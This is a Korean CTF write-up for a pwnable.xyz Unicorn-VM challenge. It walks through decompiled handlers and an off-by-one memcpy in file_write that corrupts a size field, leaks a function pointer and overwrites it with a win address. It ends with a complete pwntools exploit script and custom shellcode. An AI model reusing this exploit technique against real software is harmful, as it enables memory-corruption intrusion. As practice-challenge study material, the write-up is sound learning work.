1. 문제
1) mitigation 확인
RELRO만 partial로 걸려있다
2) 문제 확인
해당 문제는 주어진 libc를 환경변수에 등록해야지 실행이 가능하다. 등록후 실행을 시켜보면 default 프로그램을 실행할건지 아닌지 묻는다. y를 누르면 이름을 입력받고 뭐가 출력이 된다.
3) 코드 확인
- main() 함수
int __cdecl main(int argc, const char **argv, const char **envp) { size_t program_size; // [rsp+28h] [rbp-1018h] char program[4096]; // [rsp+30h] [rbp-1010h] unsigned __int64 v6; // [rsp+1038h] [rbp-8h] v6 = __readfsqword(0x28u); memset(program, 0, sizeof(program)); setup(); puts("Run the default program? (y/n)"); if ( read_choice() == 'y' ) { program_size = 255LL; memcpy(program, default_program, 0xFFuLL); } else { puts("Send your program"); program_size = read_buffer(program, 0xFFFuLL); } puts("Running the vm"); run_vm(program, program_size); return 0; }
이번 문제는 vm 문제이다. 처음 푸는 문제이기 때문에 vm 문제에 대한 이해부터 굉장히 오래 걸렸다. 메인을 간단하게 보자면, default 프로그램을 선택할시
default program
에 담겨져 코드가 program에 세팅되면서 run_vm을 호출한다. 만약default program
을 선택하지 않으면, program에 원하는 쉘코드를 이용해서 vm을 실행시킬수 있다. 이 부분이 포인트다.
- run_vm() 함수
void __cdecl run_vm(char *program, size_t program_size) { __int64 v2; // rax uc_err_0 err; // [rsp+1Ch] [rbp-24h] uc_engine *uc; // [rsp+20h] [rbp-20h] uc_hook trace1; // [rsp+28h] [rbp-18h] int64_t rsp_0; // [rsp+30h] [rbp-10h] unsigned __int64 v7; // [rsp+38h] [rbp-8h] v7 = __readfsqword(0x28u); rsp_0 = 0x7FFFFFFFE000LL; err = (unsigned int)uc_open(4LL, 8LL, (__int64)&uc); if ( err || (uc_mem_map((__int64)uc, 0x400000LL, 0x10000LL, 7LL), uc_mem_map((__int64)uc, '\xFF\xFF��\0', 0x10000LL, 7LL), (err = (unsigned int)uc_mem_write((__int64)uc, 0x400000LL, (__int64)program, program_size)) != 0) || (uc_hook_add((__int64)uc, (__int64)&trace1, 2LL, (__int64)hook_syscall, 0LL, 1LL, 0LL, 699LL), uc_reg_write((__int64)uc, 44LL, (__int64)&rsp_0), (err = (unsigned int)uc_emu_start((__int64)uc, 0x400000LL, program_size + 0x400000, 0LL, 0LL)) != 0) ) { v2 = uc_strerror((unsigned int)err); printf("err (0x%x): %s\n", (unsigned int)err, v2); uc_close(uc); exit(-1); } uc_close(uc); }
처음에 해당 부분이 뭔지를 몰라서 시간을 많이 보냈다. 쨋든 알아낸 거로는 해당 문제는 vm 문제 이기 때문에 qemu로 에뮬레이터를 돌려서 그 안에서 가상환경이 돌아간다. uc_emu_start가 그 시작점인것 같다.
중간을 보면 hook_syscall 함수가 있는데, 이름으로 유추했을때, malloc_hook 처럼, 에뮬 초기에 hook으로 등록되는 syscall 관련 로직인 것으로 해석하였다. 해당 hook_syscall을 보면 read, write, open 이 3개의 system call만 가능하도록 구현해놓았다.
- default program code
0x7fffffffcb80: mov rbp,rsp 0x7fffffffcb83: sub rsp,0x208 0x7fffffffcb8a: mov edi,0x1 0x7fffffffcb8f: lea rsi,[rip+0xb8] # 0x7fffffffcc4e 0x7fffffffcb96: mov edx,0x13 0x7fffffffcb9b: call 0x7fffffffcc3d # sys_write 0x7fffffffcba0: mov edi,0x0 0x7fffffffcba5: lea rsi,[rbp-0x200] 0x7fffffffcbac: mov edx,0x20 0x7fffffffcbb1: call 0x7fffffffcc35 # sys_read 0x7fffffffcbb6: mov rcx,rax 0x7fffffffcbb9: mov edi,0x1 0x7fffffffcbbe: lea rsi,[rip+0xa3] # 0x7fffffffcc68 0x7fffffffcbc5: mov edx,0x3 0x7fffffffcbca: call 0x7fffffffcc3d # sys_write 0x7fffffffcbcf: mov edi,0x1 0x7fffffffcbd4: lea rsi,[rbp-0x200] 0x7fffffffcbdb: mov rdx,rcx 0x7fffffffcbde: call 0x7fffffffcc3d # sys_write 0x7fffffffcbe3: lea rdi,[rip+0x77] # 0x7fffffffcc61 0x7fffffffcbea: call 0x7fffffffcc45 # sys_open 0x7fffffffcbef: mov rdi,rax 0x7fffffffcbf2: lea rsi,[rbp-0x200] 0x7fffffffcbf9: mov edx,0x200 0x7fffffffcbfe: call 0x7fffffffcc35 # sys_read 0x7fffffffcc03: mov rcx,rax 0x7fffffffcc06: mov edi,0x1 0x7fffffffcc0b: lea rsi,[rip+0x59] # 0x7fffffffcc6b 0x7fffffffcc12: mov edx,0x13 0x7fffffffcc17: call 0x7fffffffcc3d # sys_write 0x7fffffffcc1c: mov edi,0x1 0x7fffffffcc21: lea rsi,[rbp-0x200] 0x7fffffffcc28: mov rdx,rcx 0x7fffffffcc2b: call 0x7fffffffcc3d 0x7fffffffcc30: call 0x7fffffffcc4d 0x7fffffffcc35: mov eax,0x0 0x7fffffffcc3a: syscall 0x7fffffffcc3c: ret 0x7fffffffcc3d: mov eax,0x1 0x7fffffffcc42: syscall 0x7fffffffcc44: ret 0x7fffffffcc45: mov eax,0x2 0x7fffffffcc4a: syscall 0x7fffffffcc4c: ret 0x7fffffffcc4d: hlt
default_program 코드를 보면 이렇게 되어있다. read, write, open을 호출한다. 이제 저 코드를 응용해서 커스텀 쉘코드를 만들어야 하는데, vm 환경에 맞춰서 만들어야 하며, read, write, open이 어떻게 동작하는지를 살펴보자.
- sys_open() 함수
void __cdecl sys_open(uc_engine *uc) { uint64_t rdi_0; // [rsp+10h] [rbp-40h] uint64_t rax_0; // [rsp+18h] [rbp-38h] char path[36]; // [rsp+20h] [rbp-30h] unsigned __int64 v4; // [rsp+48h] [rbp-8h] v4 = __readfsqword(0x28u); *(_QWORD *)path = 0LL; *(_QWORD *)&path[8] = 0LL; *(_QWORD *)&path[16] = 0LL; *(_QWORD *)&path[24] = 0LL; *(_DWORD *)&path[32] = 0; rax_0 = -1LL; uc_reg_write((__int64)uc, 35LL, (__int64)&rax_0); uc_reg_read((__int64)uc, 39LL, (__int64)&rdi_0); if ( !(unsigned int)uc_mem_read((__int64)uc, rdi_0, (__int64)path, 0x24LL) ) { rax_0 = do_open(path); uc_reg_write((__int64)uc, 35LL, (__int64)&rax_0); } }
uc_reg_write, uc_reg_read 함수는 레지스터의 내용을 읽어서 원하는 변수에 즉 &rax_0, &rdi_0 같은곳에 저장하고 그거를 레지스터형태로 동작하는것 같다. 아래쪽에 rdi_0 담겨져 있는 문자열 읽어서
path
에 저장하고 그걸 인자로 do_open() 함수가 호출된다- do_open() 함수
int __cdecl do_open(char *path) { int v2; // eax int i; // [rsp+14h] [rbp-1Ch] File *file; // [rsp+18h] [rbp-18h] for ( i = 0; i < open_files; ++i ) { if ( !strcmp(files[i].path, path) ) return files[i].fd; } if ( open_files > 9 ) return -1; file = &files[open_files]; strncpy(file->path, path, 0x24uLL); file->ops.fops_read = (int (*)(File *, char *, size_t))file_read; file->ops.fops_write = (int (*)(File *, char *, size_t))file_write; v2 = open_files++; file->fd = v2; file->size = 0LL; return file->fd; }
현제 files 구조체 멤버변수 중 path 영역에 들어가있는 문자열과 인자로 넘어온 path 문자열을 비교한다. 두 값이 같다면 해당 구조체의 fd 값을 반환한다. 만약 두 값이 다르다면, files 구조체 배열에 파일을 추가하는 로직을 수행한다.
path에는 인자로 넘어온 문자열, 즉 파일명을 새로 저장하고, fd를저장한다음, size를 0으로 초기화한다. 그다음 fops_read, fops_write 영역에 각각 file_read, file_write 함수포인터를 저장한다. files 구조체는 다음과 같이 생겼다.
- do_open() 함수
- sys_write() 함수
void __cdecl sys_write(uc_engine *uc) { uint64_t rdi_0; // [rsp+10h] [rbp-30h] uint64_t rsi_0; // [rsp+18h] [rbp-28h] uint64_t rdx_0; // [rsp+20h] [rbp-20h] uint64_t rax_0; // [rsp+28h] [rbp-18h] char *buf; // [rsp+30h] [rbp-10h] unsigned __int64 v6; // [rsp+38h] [rbp-8h] v6 = __readfsqword(0x28u); rax_0 = -1LL; uc_reg_write((__int64)uc, 35LL, (__int64)&rax_0); uc_reg_read((__int64)uc, 39LL, (__int64)&rdi_0); uc_reg_read((__int64)uc, 43LL, (__int64)&rsi_0); uc_reg_read((__int64)uc, 40LL, (__int64)&rdx_0); buf = (char *)calloc(rdx_0, 1uLL); if ( buf && !(unsigned int)uc_mem_read((__int64)uc, rsi_0, (__int64)buf, rdx_0) ) { rax_0 = do_write(rdi_0, buf, rdx_0); if ( rax_0 != -1LL ) { uc_reg_write((__int64)uc, 35LL, (__int64)&rax_0); free(buf); } } }
sys_open과 마찬가지로 초반에 레지스터 세팅을 한다. 그다음 buf를 하나 calloc으로 할당 받고, do_write()를 호출한다. 여기서 write하는 사이즈는 rdx_0에 담겨져 있다. 만약 program에 사용자가 삽입한 쉘코드가 들어가 있고, 쉘코드의 rdx에 원하는 값을 넣는다면, do_write 호출시 원하는 사이즈 만큼 write가 가능하다.
- do_write() 함수
int __cdecl do_write(int fd, char *buffer, size_t size) { int i; // [rsp+2Ch] [rbp-4h] for ( i = 0; i < open_files; ++i ) { if ( files[i].fd == fd ) return files[i].ops.fops_write(&files[i], buffer, size); } return -1; }
현재 write를 하려는 파일이 files 구조체 배열에 존재하는지 확인을 하고, 존재하면 fops_write를 호출한다. 여기서 만약 write하려는 fd가 표준 입출력, 에러 인 0,1,2가 아닌, 3이상인 파일이라면, sys_open이 이미 호출되었다는 소리이고, fops_write에는 file_write() 함수가 들어가 있을 것이다. 그게 아니라면, std_write()가 들어가 있다.
- file_write() 함수
int __cdecl file_write(File *self, char *buffer, size_t size) { size_t sizea; // [rsp+8h] [rbp-18h] sizea = size; if ( self->size < size && size > 0x200 ) sizea = 0x200LL; self->size = sizea; memcpy(self->contents, buffer, sizea + 1); return sizea; }
size에는 아까 rdx_0 즉 원하는 크기 만큼 들어간다고 했다. 사용자가 입력한 사이즈가 0x200이상이라면 내부로직에서 최대 값을 0x200으로 막아놓는 걸 볼수있다. 하지만 memcpy시, +1이 되면서 0x201 만큼 복사가 가능하고, contents 다음 필드인 size 필드의 하위 한바이트를 overwrite가 가능하다.
이 취약점을 이용하여 files 구조체 필드 중 file_read 함수포인터를 leak할 수 가 있다. sys_read() 함수도 sys_write() 와 유사한 로직이고, file_read를 최종적으로 호출하게 된다.
- file_read() 함수
int __cdecl file_read(File *self, char *buffer, size_t size) { size_t sizea; // [rsp+8h] [rbp-18h] sizea = size; if ( self->size < size ) sizea = self->size; memcpy(buffer, self->contents, sizea); return sizea; }
file_write의 취약점을 이용하여 files→size를 0x2ff로 변경할수 있다. 그런다음 file_read()를 호출할때, 한 0x210 정도 사이즈를 rdx로 주게 되면, 위 조건문을 우회하여 sizea에 0x210을 그대로 넣을수 있다. 그렇게 된다면, files→contents 영역 (0x200) 부터 0x210 사이즈 만큼의 데이터가 buffer에 들어가고, file_read 주소를 leak할수 있다.
- do_write() 함수
2. 접근방법
이제 buffer에 들어간 file_read를 leak하였다. buffer에 우리가 쉘코드를 넣을수 있으므로, file_read 함수 주소가 들어가있는 오프셋을 잘 계산하여, win 주소를 얻은 뒤에, 해당 win 주소를 다시 files→contents+0x208에 넣게 된다면, 0x200(더미)+0x8(사이즈)+win(file_read가 들어가는 위치) 요렇게 되어 file_read 함수포인터를 덮을수 있다.
참고로 해당 익스코드는 아래를 거의 분석하듯이 짯다. (너무 어렵..)
출처 : https://mineta.tistory.com/135?category=735547
3. 풀이
롸업을 보면서 풀긴 했지만, 그래도 이해를 다 하고 풀었다는거에 의의를...
최종 익스코드는 다음과 같다
#-*- coding:utf-8 -*-
from pwn import *
context(log_level='DEBUG', arch='amd64',os="linux")
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libunicorn.so.1")}
#p=remote('svc.pwnable.xyz',30044)
p=process('./challenge',env=env)
gdb.attach(p,'code\nb *0x170B+$code\n')
p.sendlineafter("? (y/n)\n",'n')
shellcode='''
lea r8,[rip+0x3f9]
lea r9,[rip+0x3fa]
lea r10,[rip+0x5fb]
mov rbp,rsp
sub rsp,0x208
mov rdi,r8
call open_
mov rdi,3
mov rsi,r9
mov rdx,0x210
call write_
mov rdi,3
mov rsi,r10
call read_
mov qword ptr [r9+0x200],0x210
mov r12,qword ptr[r10+0x208]
sub r12,0x117
mov qword ptr[r9+0x208],r12
mov rsi,r9
mov rdi,3
call write_
read_:
mov rax,0
syscall
ret
write_:
mov rax,1
syscall
ret
open_:
mov rax,2
syscall
ret
'''
shellcode=asm(shellcode)
shellcode=shellcode.ljust(0x400,'\x90')
payload='./flag2\x00'+'\xff'*0x201
payload=payload.ljust(0x800,'\x00')
vm_code=shellcode+payload
vm_code=vm_code.ljust(0x1000,'\x00')
p.sendlineafter('Send your program\n',vm_code)
p.interactive()
4. 몰랐던 개념
- vm 문제
'워게임 > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] note v4 (0) | 2020.06.14 |
---|---|
[pwnable.xyz] fishing (0) | 2020.06.09 |
[pwnable.xyz] Knum (0) | 2020.05.31 |
[pwnable.xyz] PvE (0) | 2020.05.27 |
[pwnable.xyz] note v3 (0) | 2020.05.25 |